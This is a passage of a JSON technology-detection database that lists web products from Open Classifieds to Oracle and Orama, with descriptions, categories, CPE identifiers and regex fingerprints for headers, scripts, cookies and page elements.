\"Open Classifieds ?([0-9.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://open-classifieds.com\"\n  },\n  \"Open Graph\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Open Graph is a protocol that is used to integrate any web page into the social graph.\",\n    \"dom\": [\n      \"meta[property*='og:']\"\n    ],\n    \"icon\": \"Open Graph.svg\",\n    \"oss\": true,\n    \"website\": \"https://ogp.me\"\n  },\n  \"Open Journal Systems\": {\n    \"cats\": [\n      50\n    ],\n    \"cookies\": {\n      \"OJSSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*\",\n    \"description\": \"Open Journal Systems (OJS) is an open-source software application for managing and publishing scholarly journals.\",\n    \"icon\": \"Open Journal Systems.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Open Journal Systems(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://pkp.sfu.ca/ojs\"\n  },\n  \"Open Web Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:openwebanalytics:open_web_analytics:*:*:*:*:*:*:*:*\",\n    \"description\": \"Open Web Analytics is an open-source web analytics tool that provides self-hosted, customizable tracking and reporting of website traffic and user behavior.\",\n    \"html\": [\n      \"<!-- (?:Start|End) Open Web Analytics Tracker -->\"\n    ],\n    \"icon\": \"Open Web Analytics.svg\",\n    \"js\": {\n      \"OWA.config.baseUrl\": \"\",\n      \"owa_baseUrl\": \"\",\n      \"owa_cmds\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.openwebanalytics.com\"\n  },\n  \"Open eShop\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"Open eShop.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"author\": \"open-eshop\\\\.com\",\n      \"copyright\": \"Open eShop ?([0-9.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://open-eshop.com/\"\n  },\n  \"Open edX\": {\n    \"cats\": [\n      1,\n      21\n    ],\n    \"description\": \"The Open edX platform is a free and open source course management system.\",\n    \"dom\": [\n      \"meta[name='openedx-release-line'], #footer-openedx, .openedx, .open-edx-logo, .open-edx-link, .footer-about-openedx, a[href*='https://open.edx.org'], a[href*='https://openedx.org'], img[src*='https://files.edx.org/openedx-logos/'][alt='Powered by Open edX']\"\n    ],\n    \"icon\": \"Open edX.png\",\n    \"oss\": true,\n    \"website\": \"https://openedx.org/\"\n  },\n  \"Open-Props\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Open-Props is a collection of CSS custom properties to help accelerate adaptive and consistent design.\",\n    \"dom\": [\n      \"link[href*='unpkg.com/open-props'][rel='stylesheet']\"\n    ],\n    \"icon\": \"Open-Props.svg\",\n    \"oss\": true,\n    \"website\": \"https://open-props.style\"\n  },\n  \"Open-Xchange App Suite\": {\n    \"cats\": [\n      30,\n      75\n    ],\n    \"cpe\": \"cpe:2.3:a:open-xchange:app_suite:*:*:*:*:*:*:*:*\",\n    \"description\": \"Open-Xchange is a web-based communication, collaboration and office productivity software suite.\",\n    \"dom\": [\n      \"#io-ox-core, form > input[value='open-xchange-appsuite']\"\n    ],\n    \"icon\": \"openxchange.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"ox.version\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.open-xchange.com/\"\n  },\n  \"OpenBSD httpd\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:openbsd:openbsd:*:*:*:*:*:*:*:*\",\n    \"excludes\": [\n      \"Apache HTTP Server\"\n    ],\n    \"headers\": {\n      \"Server\": \"^OpenBSD httpd\"\n    },\n    \"icon\": \"OpenBSD httpd.svg\",\n    \"oss\": true,\n    \"website\": \"https://man.openbsd.org/httpd.8\"\n  },\n  \"OpenCV\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:opencv:opencv:*:*:*:*:*:*:*:*\",\n    \"description\": \"OpenCV (Open Source Computer Vision Library) is an open source computer vision and machine learning software library.\",\n    \"icon\": \"OpenCV.svg\",\n    \"implies\": [\n      \"WebAssembly\"\n    ],\n    \"js\": {\n      \"opencvIsReady\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://opencv.org\"\n  },\n  \"OpenCart\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"OCSESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:opencart:opencart:*:*:*:*:*:*:*:*\",\n    \"description\": \"OpenCart is a free and open-source ecommerce platform used for creating and managing online stores. It is written in PHP and uses a MySQL database to store information.\",\n    \"dom\": [\n      \"link[href*='catalog/view/theme/rgen-opencart/'], footer#footer > a[href*='shop.opencart-russia.ru']\"\n    ],\n    \"icon\": \"OpenCart.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://www.opencart.com\"\n  },\n  \"OpenCities\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"OpenCities is a content management system built for government organizations.\",\n    \"icon\": \"granicus.svg\",\n    \"js\": {\n      \"OpenCities\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Seamless\\\\.?CMS\"\n    },\n    \"website\": \"https://granicus.com/solution/govaccess/opencities/\"\n  },\n  \"OpenCms\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"OpenCms\"\n    },\n    \"html\": [\n      \"<link href=\\\"/opencms/\"\n    ],\n    \"icon\": \"OpenCms.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"opencms\"\n    ],\n    \"website\": \"https://www.opencms.org\"\n  },\n  \"OpenElement\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"OpenElement is a free website building application with a WYSIWYG interface.\",\n    \"icon\": \"OpenElement.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"OE.GETools\": \"\",\n      \"OEConfWEMenu\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"openElement\\\\s\\\\(([\\\\d\\\\.]+)\\\\)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://openelement.uk\"\n  },\n  \"OpenGSE\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"OpenGSE is a test suite used for testing servlet compliance. It is deployed by using WAR files that are deployed on the server engine.\",\n    \"headers\": {\n      \"Server\": \"GSE\"\n    },\n    \"icon\": \"Google.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://code.google.com/p/opengse\"\n  },\n  \"OpenGrok\": {\n    \"cats\": [\n      19\n    ],\n    \"cookies\": {\n      \"OpenGrok\": \"\"\n    },\n    \"icon\": \"OpenGrok.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"meta\": {\n      \"generator\": \"OpenGrok(?: v?([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://hub.opensolaris.org/bin/view/Project+opengrok/WebHome\"\n  },\n  \"OpenLayers\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"OpenLayers is an open-source JavaScript library for displaying map data in web browser.\",\n    \"icon\": \"OpenLayers.svg\",\n    \"js\": {\n      \"OpenLayers.VERSION_NUMBER\": \"([\\\\d.]+)\\\\;version:\\\\1\",\n      \"ol.CanvasMap\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"openlayers\"\n    ],\n    \"website\": \"https://openlayers.org\"\n  },\n  \"OpenNemas\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"OpenNemas\"\n    },\n    \"icon\": \"OpenNemas.png\",\n    \"meta\": {\n      \"generator\": \"OpenNemas\"\n    },\n    \"website\": \"https://www.opennemas.com\"\n  },\n  \"OpenPanel\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"OpenPanel is an open-source analytics library that enables developers to track and analyze user behavior, providing real-time insights and data visualization for improved decision-making across various platforms.\",\n    \"icon\": \"OpenPanel.svg\",\n    \"js\": {\n      \"openpanel.api\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//openpanel\\\\.dev/\"\n    ],\n    \"website\": \"https://openpanel.dev\"\n  },\n  \"OpenPay\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Openpay is an innovative online and in-store payment solution enabling you to purchase now and pay later, with no interest.\",\n    \"icon\": \"openpay.png\",\n    \"scriptSrc\": [\n      \"openpay\\\\.com.\\\\au\"\n    ],\n    \"website\": \"https://www.openpay.com.au/\"\n  },\n  \"OpenResty\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:openresty:openresty:*:*:*:*:*:*:*:*\",\n    \"description\": \"OpenResty is a web platform based on nginx which can run Lua scripts using its LuaJIT engine.\",\n    \"headers\": {\n      \"Server\": \"openresty(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"OpenResty.svg\",\n    \"implies\": [\n      \"Nginx\"\n    ],\n    \"website\": \"https://openresty.org\"\n  },\n  \"OpenSSL\": {\n    \"cats\": [\n      33\n    ],\n    \"cpe\": \"cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*\",\n    \"description\": \"OpenSSL is a software library for applications that secure communications over computer networks against eavesdropping or need to identify the party at the other end.\",\n    \"headers\": {\n      \"Server\": \"OpenSSL(?:/([\\\\d.]+[a-z]?))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"OpenSSL.svg\",\n    \"website\": \"https://openssl.org\"\n  },\n  \"OpenStreetMap\": {\n    \"cats\": [\n      35\n    ],\n    \"cpe\": \"cpe:2.3:a:openstreetmap:openstreetmap:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"OpenStreetMap is a free, editable map of the whole world that is being built by volunteers largely from scratch and released with an open-content license.\",\n    \"dom\": [\n      \"iframe[src*='openstreetmap.org'],iframe[data-lazy-src*='openstreetmap.org']\"\n    ],\n    \"icon\": \"OpenStreetMap.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.openstreetmap.org\"\n  },\n  \"OpenSwoole\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"OpenSwoole is a high-performance, asynchronous, event-driven, coroutine-based PHP framework.\",\n    \"headers\": {\n      \"Server\": \"OpenSwoole(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"OpenSwoole.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://openswoole.com\"\n  },\n  \"OpenTable\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"OpenTable is an online restaurant-reservation service company founded by Sid Gorham, Eric Moe and Chuck Templeton on 2 July 1998 and is based in San Francisco, California.\",\n    \"dom\": [\n      \"iframe[src*='.opentable.com/'], form[action*='.opentable.com/'][target='_blank']\"\n    ],\n    \"icon\": \"OpenTable.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://restaurant.opentable.com\"\n  },\n  \"OpenText Web\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"OpenText Web is a web content management platform that supports hybrid headless environments, allowing developers to use preferred tools and enabling marketers to author, test, and publish content seamlessly, with a focus on performance, scalability, and compliance​.\",\n    \"html\": [\n      \"<!--[^>]+published by Open Text Web Solutions\"\n    ],\n    \"icon\": \"OpenText.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"website\": \"https://www.opentext.com/products/content-management-system\"\n  },\n  \"OpenText Web Solutions\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<!--[^>]+published by Open Text Web Solutions\"\n    ],\n    \"icon\": \"OpenText Web Solutions.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"website\": \"https://websolutions.opentext.com\"\n  },\n  \"OpenTiendas\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"OpenTiendas is a hosted no-code All in One ecommerce technology that allows anyone to create online stores with advanced features without plugins.\",\n    \"dom\": [\n      \"link[href*='/opentiendasfont/font/opentiendasfont.woff2']\"\n    ],\n    \"icon\": \"OpenTiendas.svg\",\n    \"meta\": {\n      \"generator\": \"^OpenTiendas$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.opentiendas.com\"\n  },\n  \"OpenUI5\": {\n    \"cats\": [\n      12,\n      66\n    ],\n    \"cookies\": {\n      \"sap-usercontext\": \"sap-client\"\n    },\n    \"description\": \"OpenUI5 is a JavaScript UI Framework released by SAP under the Apache 2.0 license.\",\n    \"icon\": \"OpenUI5.svg\",\n    \"js\": {\n      \"sap.ui.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"sap-ui-fesr\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"sap-ui-core\\\\.js\"\n    ],\n    \"website\": \"https://openui5.org\"\n  },\n  \"OpenWeb\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"OpenWeb is a social engagement platform that builds online communities around digital content.\",\n    \"icon\": \"OpenWeb.svg\",\n    \"js\": {\n      \"SPOTIM.initConversation\": \"\"\n    },\n    \"meta\": {\n      \"spotim-ads\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.openweb.com\"\n  },\n  \"OpenX\": {\n    \"cats\": [\n      36\n    ],\n    \"cpe\": \"cpe:2.3:a:openx:openx:*:*:*:*:*:*:*:*\",\n    \"description\": \"OpenX is a programmatic advertising technology company.\",\n    \"dom\": [\n      \"iframe[src*='.openx.net'], img[src*='.openx.net'], link[href*='.openx.net']\"\n    ],\n    \"icon\": \"OpenX.svg\",\n    \"js\": {\n      \"openx.name\": \"openx\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"https?://[^/]*\\\\.openx\\\\.net\",\n      \"https?://[^/]*\\\\.servedbyopenx\\\\.com\"\n    ],\n    \"website\": \"https://openx.com\"\n  },\n  \"OperateBeyond\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"OperateBeyond is a software development company that offers website design, automated inventory management, CRM, dealer websites, and DMS.\",\n    \"icon\": \"OperateBeyond.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"//dealer-cdn\\\\.com/\"\n    ],\n    \"website\": \"https://operatebeyond.com/dealer-websites-marketing\"\n  },\n  \"Opigno LMS\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Opigno LMS is an open-source Learning Management System (LMS) based on Drupal, designed for creating and delivering online courses and educational content.\",\n    \"icon\": \"Opigno LMS.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"Drupal\"\n    ],\n    \"scripts\": [\n      \"opigno_(?:commerce|wtp_app|scorm|learning_path)\"\n    ],\n    \"website\": \"https://www.opigno.org\"\n  },\n  \"OpinionLab\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"OpinionLab is a omnichannel customer feedback solution provider.\",\n    \"icon\": \"OpinionLab.png\",\n    \"js\": {\n      \"OOo.Browser\": \"\",\n      \"OOo.version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.foresee\\\\.com/code/([\\\\d.]+)-oo/oo_engine\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.opinionlab.com\"\n  },\n  \"Ops Calendar\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Ops Calendar is a marketing calendar to manage content marketing, social media, and more.\",\n    \"icon\": \"OpsCalendar.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.opscalendar\\\\.com/\"\n    ],\n    \"website\": \"https://opscalendar.com\"\n  },\n  \"OptiMonk\": {\n    \"cats\": [\n      98,\n      77\n    ],\n    \"description\": \"OptiMonk is an on-site message toolkit used to improve conversions using action-based popups ad bars.\",\n    \"dom\": [\n      \"link[href*='.optimonk.com']\"\n    ],\n    \"icon\": \"OptiMonk.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.optimonk\\\\.com/\"\n    ],\n    \"website\": \"https://www.optimonk.com\"\n  },\n  \"Optibase\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"Optibase is an A/B testing app for Webflow, enabling data-driven decisions by testing various elements such as copy, design, or entire pages, aimed at improving site conversions.\",\n    \"icon\": \"Optibase.svg\",\n    \"js\": {\n      \"optibaseScriptLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Webflow\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.optibase\\\\.io/\"\n    ],\n    \"website\": \"https://www.optibase.io\"\n  },\n  \"Optimise\": {\n    \"cats\": [\n      71,\n      36\n    ],\n    \"description\": \"Optimise Media Group is a UK-based performance advertising network.\",\n    \"icon\": \"Optimise.svg\",\n    \"js\": {\n      \"OMID\": \"^[0-9]+$\"\n    },\n    \"scriptSrc\": [\n      \"track\\\\.omguk\\\\.com\"\n    ],\n    \"website\": \"https://www.optimisemedia.com\"\n  },\n  \"Optimizely\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"cookies\": {\n      \"optimizelyEndUserId\": \"\"\n    },\n    \"description\": \"Optimizely is an experimentation platform that helps developers build and run A/B tests on websites.\",\n    \"icon\": \"Optimizely.svg\",\n    \"js\": {\n      \"optimizely\": \"\",\n      \"optimizelyClient.clientVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"optimizelySdk\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"high\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"optimizely\\\\.com.*\\\\.js\"\n    ],\n    \"website\": \"https://www.optimizely.com\"\n  },\n  \"Optimizely Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"EPi:StateMarker\": \"\"\n    },\n    \"description\": \"Optimizely Commerce is a complete suite for digital ecommerce and content management that uses artificial intelligence to deliver personalised experiences, individualised search rankings and product recommendations.\",\n    \"icon\": \"Optimizely.svg\",\n    \"meta\": {\n      \"generator\": \"EPiServer\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"website\": \"https://www.optimizely.com/products/commerce/b2c/\"\n  },\n  \"Optimizely Content Management\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"EPi:StateMarker\": \"\",\n      \"EPiServer\": \"\",\n      \"EPiSessionId\": \"\",\n      \"EPiTrace\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:episerver:episerver:*:*:*:*:*:*:*:*\",\n    \"description\": \"Optimizely Content Management (formerly EPiServer) is digital content, ecommerce, and marketing management solution designed for editors and marketers.\",\n    \"dom\": [\n      \"link[href*='/EPiServer.Forms/']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.episerver\\\\.net\"\n    },\n    \"icon\": \"Optimizely.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"epi.EPiServer\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"EPiServer\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.episerver.net/\"\n    ],\n    \"website\": \"https://www.optimizely.com/products/content/\"\n  },\n  \"Optimove\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Optimove is a relationship marketing hub powered by a combination of advanced customer modeling, predictive micro-segmentation and campaign automation technologies.\",\n    \"icon\": \"Optimove.svg\",\n    \"js\": {\n      \"optimoveSDK\": \"\",\n      \"optimoveSDKVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.optimove\\\\.net/.+v([\\\\d\\\\.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.optimove.com\"\n  },\n  \"OptinMonster\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"OptinMonster is a conversion optimisation tool that allows you to grow your email list.\",\n    \"icon\": \"OptinMonster.svg\",\n    \"js\": {\n      \"OptinMonsterApp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://optinmonster.com\"\n  },\n  \"OptinMonster plugin\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"OptinMonster is a lead-generation plugin for WordPress.\",\n    \"icon\": \"OptinMonster.svg\",\n    \"implies\": [\n      \"OptinMonster\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/optinmonster/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://optinmonster.com\"\n  },\n  \"Oracle Application Express\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Oracle Application Express (APEX) is an enterprise low-code development platform from Oracle Corporation. APEX is a fully supported no-cost feature of Oracle Database.\",\n    \"icon\": \"Oracle.svg\",\n    \"js\": {\n      \"apex.libVersions\": \"\",\n      \"apex_img_dir\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apex.oracle.com\"\n  },\n  \"Oracle Application Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:oracle:application_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"Oracle[- ]Application[- ]Server(?: Containers for J2EE)?(?:[- ](\\\\d[\\\\da-z./]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"website\": \"https://www.oracle.com/technetwork/middleware/ias/overview/index.html\"\n  },\n  \"Oracle BlueKai\": {\n    \"cats\": [\n      86\n    ],\n    \"description\": \"Oracle BlueKai is a cloud-based big data platform that enables companies to personalise online, offline, and mobile marketing campaigns.\",\n    \"dom\": [\n      \"link[href*='tags.bluekai.com'],link[href*='tags.bkrtx.com']\"\n    ],\n    \"icon\": \"Oracle.svg\",\n    \"js\": {\n      \"bluekaiLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tags\\\\.(?:bluekai|bkrtx)\\\\.com/\"\n    ],\n    \"website\": \"https://www.oracle.com/cx/marketing/data-management-platform\"\n  },\n  \"Oracle Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:oracle:commerce_platform:*:*:*:*:*:*:*:*\",\n    \"description\": \"Oracle Commerce is a unified B2B and B2C ecommerce platform.\",\n    \"dom\": [\n      \"input[name*='/atg/commerce/'], .atgShoppingBagContent\"\n    ],\n    \"headers\": {\n      \"X-ATG-Version\": \"(?:ATGPlatform/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.oracle.com/applications/customer-experience/commerce/products/commerce-platform/index.html\"\n  },\n  \"Oracle Commerce Cloud\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Oracle Commerce Cloud is a cloud-native, fully featured, extensible SaaS ecommerce solution, delivered in the Oracle Cloud, supporting B2C and B2B models in a single platform.\",\n    \"dom\": [\n      \"#oracle-cc\"\n    ],\n    \"headers\": {\n      \"OracleCommerceCloud-Version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"website\": \"https://cloud.oracle.com/commerce-cloud\"\n  },\n  \"Oracle Content Management\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Oracle Content Management is a cloud-based platform designed for organisations to create, store, manage, and deliver digital content while supporting structured content organisation, collaboration, and seamless integration with other applications.\",\n    \"icon\": \"Oracle.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/_sitesclouddelivery/renderer/renderer\\\\.js\"\n    ],\n    \"website\": \"https://www.oracle.com/content-management\"\n  },\n  \"Oracle Dynamic Monitoring Service\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Oracle Dynamic Monitoring Service is a feature of Oracle WebLogic Server that provides real-time monitoring and diagnostic capabilities for Java applications running on the WebLogic Server.\",\n    \"headers\": {\n      \"x-oracle-dms-ecid\": \"\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"implies\": [\n      \"Oracle WebLogic Server\"\n    ],\n    \"website\": \"https://oracle.com\"\n  },\n  \"Oracle HTTP Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:oracle:http_server:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"Oracle-HTTP-Server(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"website\": \"https://oracle.com\"\n  },\n  \"Oracle Infinity\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Oracle Infinity is a digital analytics platform for tracking, measuring, and optimizing the performance and visitor behavior of enterprise websites and mobile apps.\",\n    \"icon\": \"Oracle.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"c\\\\.oracleinfinity\\\\.io\"\n    ],\n    \"website\": \"https://www.oracle.com/cx/marketing/digital-intelligence/\"\n  },\n  \"Oracle Maxymiser\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Oracle Maxymiser is a real-time behavioral targeting, in-session personalisation, and product recommendations platform.\",\n    \"icon\": \"Oracle.svg\",\n    \"js\": {\n      \"maxy\": \"\\\\;confidence:20\",\n      \"mmsystem.getConfig\": \"\\\\;confidence:80\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"service\\\\.maxymiser\\\\.net\"\n    ],\n    \"website\": \"https://www.oracle.com/uk/cx/marketing/personalization-testing\"\n  },\n  \"Oracle Moat Measurement\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Oracle Moat delivers solutions that are critical to measuring advertising effectiveness, including verification and attention, reach, and frequency as well as sales lift measurement.\",\n    \"icon\": \"Oracle.svg\",\n    \"scriptSrc\": [\n      \"moatads\\\\.com\"\n    ],\n    \"website\": \"https://www.oracle.com/cx/advertising/measurement/\"\n  },\n  \"Oracle Recommendations On Demand\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Oracle.svg\",\n    \"scriptSrc\": [\n      \"atgsvcs.+atgsvcs\\\\.js\"\n    ],\n    \"website\": \"https://www.oracle.com/us/products/applications/commerce/recommendations-on-demand/index.html\"\n  },\n  \"Oracle Web Cache\": {\n    \"cats\": [\n      23\n    ],\n    \"cpe\": \"cpe:2.3:a:oracle:web_cache:*:*:*:*:*:*:*:*\",\n    \"description\": \"Oracle Web Cache is a browser and content management server, which improves the performance of web sites.\",\n    \"headers\": {\n      \"Server\": \"Oracle(?:AS)?[- ]Web[- ]Cache(?:[- /]([\\\\da-z./]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oracle.svg\",\n    \"website\": \"https://oracle.com\"\n  },\n  \"Oracle WebLogic Server\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:bea:weblogic_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Oracle WebLogic Server is a Java-based application server that provides a platform for developing, deploying, and running enterprise-level Java applications.\",\n    \"icon\": \"Oracle.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.oracle.com/java/weblogic/\"\n  },\n  \"Orama\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Orama is a platform offering full-text and vector search capabilities across 300 global locations.\",\n    \"dom\": [\n      \"li > a[href*='/@orama/orama'], link[href*='orama-search']\"\n    ],\n    \"icon\": \"OramaSearch.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://oramasearch.com\"\n  },\n  \"Orankl\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Orankl is a provider email marketing and review services.\",\n    \"icon\": \"Orankl.png\",\n    \"js\": {\n      \"Orankl\": \"\",\n      \"oranklInit\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.orankl\\\\.com/\"\n    ],\n    \"website\": \"https://www.orankl.com\"\n  },\n  \"Orbit Slider\": {\n    \"cats\": 